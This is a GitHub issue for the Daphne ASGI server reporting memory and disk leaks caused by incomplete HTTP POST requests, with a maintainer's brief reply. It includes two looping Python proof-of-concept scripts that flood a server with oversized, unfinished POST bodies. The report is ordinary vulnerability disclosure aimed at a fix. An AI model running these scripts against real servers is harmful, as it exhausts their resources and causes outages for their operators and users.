Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Persistent Memory and Disk leak #288

Open
JohnDoee opened this issue Nov 17, 2019 · 1 comment
Open

Persistent Memory and Disk leak #288

JohnDoee opened this issue Nov 17, 2019 · 1 comment

Comments

@JohnDoee
Copy link
Contributor

Daphne does not seem to clean up after incomplete HTTP POST requests.

Back story: Twisted handles POST requests by saving the body to either the disk or memory, depending on the expected Content-Length. Normally this would be cleaned up when the request is finished. This cleanup does not seem to happen in Daphne.

Memory leak:

import socket

while True:
  print('Sending payload')
  init_payload = b"""POST / HTTP/1.1\r\nHost: 127.0.0.1:8000\r\nContent-Length: 99999\r\n\r\n"""
  pl = b'a'*99998
  s = socket.create_connection(('127.0.0.1', 8000))
  s.sendall(init_payload)
  s.sendall(pl)
  s.close()

Disk leak:

import socket

while True:
  print('Sending payload')
  init_payload = b"""POST / HTTP/1.1\r\nHost: 127.0.0.1:8000\r\nContent-Length: 2000000000\r\n\r\n"""
  pl = b'a'*9999
  s = socket.create_connection(('127.0.0.1', 8000))
  s.sendall(init_payload)
  for _ in range(200000):
    s.sendall(pl)
  s.close()

My suggestion is to fix the bug and recommend not exposing a Twisted Web server directly to the internet. Even the default Twisted Web can be taken down with something like this although it requires a bit more persistence.

Side-note: I'm not sure what http_timeout does....

@carltongibson
Copy link
Member

OK, so deploying behind nginx/haproxy/... is expected. But yes, OK, very happy to look at suggestions for improving clean up here.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

No branches or pull requests

2 participants